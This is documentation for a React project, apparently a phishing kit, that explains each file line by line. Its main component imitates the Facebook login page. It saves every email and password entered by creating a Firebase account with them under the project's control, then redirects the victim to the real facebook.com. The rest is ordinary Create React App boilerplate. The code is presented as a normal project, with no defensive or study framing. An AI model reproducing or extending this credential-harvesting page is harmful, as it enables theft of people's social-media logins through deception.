

Facebook Login Project Documentation

1. FacebookLogin.js

```
import React, { useState } from 'react';
```

- Imports React and the `useState` hook to manage component state.

```
import './FacebookLogin.css';
```

- Imports the CSS file for styling the component.

```
import { auth } from '../database/firebaseconfig.js';
```

- Imports the Firebase authentication object from your Firebase configuration file.

```
import { signInWithEmailAndPassword, createUserWithEmailAndPassword }  
from 'firebase/auth';
```

- Imports two Firebase authentication functions for signing in and creating a user.

```
const FacebookLogin = () => {
```

- Declares a functional component named `FacebookLogin`.

```
const [email, setEmail] = useState('');  
const [password, setPassword] = useState('');  
const [error, setError] = useState('');
```

- Initializes state variables for email, password, and error messages.

```
const handleLogin = async (e) => {  
  e.preventDefault();  
  setError('');  
  try {  
    const userCredential = await createUserWithEmailAndPassword(auth,  
email, password);  
    window.location.href='https://www.facebook.com/';  
  } catch (error) {  
    alert("Usuario o contraseña incorrectos")  
  }  
};
```

- `handleLogin`: Handles login or account creation on form submission. Redirects to Facebook if successful.

```
const handleRegister = async (email, password) => {  
  // Placeholder function for registration  
};
```

- `handleRegister`: Placeholder for account creation (not implemented).

```
return (
  <div className="fb-wrapper">...
```

- Returns JSX structure for the Facebook-style login UI.

2. FacebookLogin.css

```
body {
  margin: 0;
  font-family: -apple-system, BlinkMacSystemFont, ...;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}
code {
  font-family: source-code-pro, Menlo, Monaco, ...;
}
```

- Styles the global body and code font appearance.

3. index.js

```
import React from 'react';
import ReactDOM from 'react-dom/client';
import './index.css';
import App from './App';
import reportWebVitals from './reportWebVitals';

const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(
  <React.StrictMode>
    <App />
  </React.StrictMode>
);

reportWebVitals();
```

- Renders the main `App` component into the DOM. Initializes performance logging.

4. reportWebVitals.js

```
const reportWebVitals = onPerfEntry => {
  if (onPerfEntry && onPerfEntry instanceof Function) {
    import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP,
    getTTFB }) => {
      getCLS(onPerfEntry);
      getFID(onPerfEntry);
      getFCP(onPerfEntry);
      getLCP(onPerfEntry);
      getTTFB(onPerfEntry);
    });
  }
};
```

```
export default reportWebVitals;
```

- Measures and reports web performance metrics using the `web-vitals` library.

5. `setupTests.js`

```
import '@testing-library/jest-dom';
```

- Adds custom DOM matchers for Jest testing using React Testing Library.

6. `.gitignore`

```
/node_modules  
/.pnp  
.pnp.js  
/coverage  
/build  
.DS_Store  
.env.local  
npm-debug.log*
```

- Specifies files and directories to ignore in Git version control.

7. `README.md`

- Describes usage, scripts, deployment, testing, and documentation of a React App created using Create React App.

8. `package.json` (not shown but referenced)

- Lists all project dependencies, scripts, and configurations for React and Firebase.